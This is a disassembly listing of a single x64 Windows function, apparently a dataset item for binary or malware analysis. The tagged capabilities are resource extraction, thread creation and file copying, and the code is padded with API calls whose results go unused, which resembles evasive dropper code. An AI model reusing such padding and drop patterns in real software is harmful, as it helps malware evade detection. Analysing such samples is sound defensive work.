Function at 0x1400884e0
Capabilities:
Copy file
Create thread
Extract resource via kernel32 functions

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x428
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x410], rax
mov rsi, r9
movzx r13d, r8b
mov rdi, rdx
mov ebx, ecx
call qword [sym.imp.USER32.dll_GetActiveWindow]
call qword [sym.imp.KERNEL32.dll_GetLastError]
call qword [sym.imp.USER32.dll_GetActiveWindow]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
call qword [sym.imp.KERNEL32.dll_GetActiveProcessorGroupCount]
xor eax, eax
mov qword [rsp + 0x28], rax
lea r8, [0x140001b00]
mov r9d, r13d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
lea rcx, [rsp + 0x300]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
xor ecx, ecx
mov edx, 0x379
lea r8d, [rcx + 0x19]
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov edx, 0x65
xor ecx, ecx
lea r8d, [rdx - 0x52]
call qword [sym.imp.KERNEL32.dll_FindResourceA]
lea rcx, [rsp + 0x300]
mov edx, 0x104
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
lea rcx, [rsp + 0x1c0]
xor edx, edx
mov r8d, 0x140
call fcn.1400e27d0
lea rdx, [rsp + 0x1c0]
lea rcx, [0x1400ed3f4]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea rcx, [rsp + 0x80]
xor edx, edx
mov r8d, 0x140
lea r14d, [rbx - 4]
mov rbp, rax
mov qword [rsp + 0x70], rax
call fcn.1400e27d0
lea rdx, [rsp + 0x80]
lea rcx, str.c0a1
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
sub ebp, eax
mov qword [rsp + 0x68], rax
sub ebp, r14d
add ebp, 2
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor edx, edx
xor ecx, ecx
mov r15d, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
xor ecx, ecx
movsxd rax, r14d
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], r13d
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], ecx
lea r8, str.boot
xor r9d, r9d
mov rdx, rdi
mov dword [rsp + 0x20], r13d
mov r12d, r13d
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov rdx, qword [rsi]
or rcx, 0xffffffffffffffff
nop dword [rax + rax]
inc rcx
cmp byte [rdx + rcx], 0
jne 0x140088680
movzx eax, bl
lea rdx, str.boot
movzx r8d, r15b
imul cl
movzx ecx, al
movzx eax, r13b
imul cl
lea rcx, [0x1400ed3f4]
movzx ebx, al
sub bl, r14b
add bl, 0x18
add bl, byte [rsp + 0x68]
add bl, byte [rsp + 0x70]
add bl, byte [rsp + 0x60]
add bl, r15b
call qword [sym.imp.KERNEL32.dll_CopyFileA]
cmp r14d, ebp
jle 0x1400886dd
mov ecx, 0xffff
call qword [sym.imp.KERNEL32.dll_GetMaximumProcessorCount]
call qword [sym.imp.USER32.dll_GetActiveWindow]
xor eax, eax
lea r8, str.rambler
lea rdx, str.rambler
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], eax
movsx ecx, bl
mov r9d, r12d
mov dword [rsp + 0x28], ebp
mov dword [rsp + 0x20], ebp
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov rcx, qword [rsp + 0x410]
xor rcx, rsp
call fcn.1400dd340
add rsp, 0x428
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret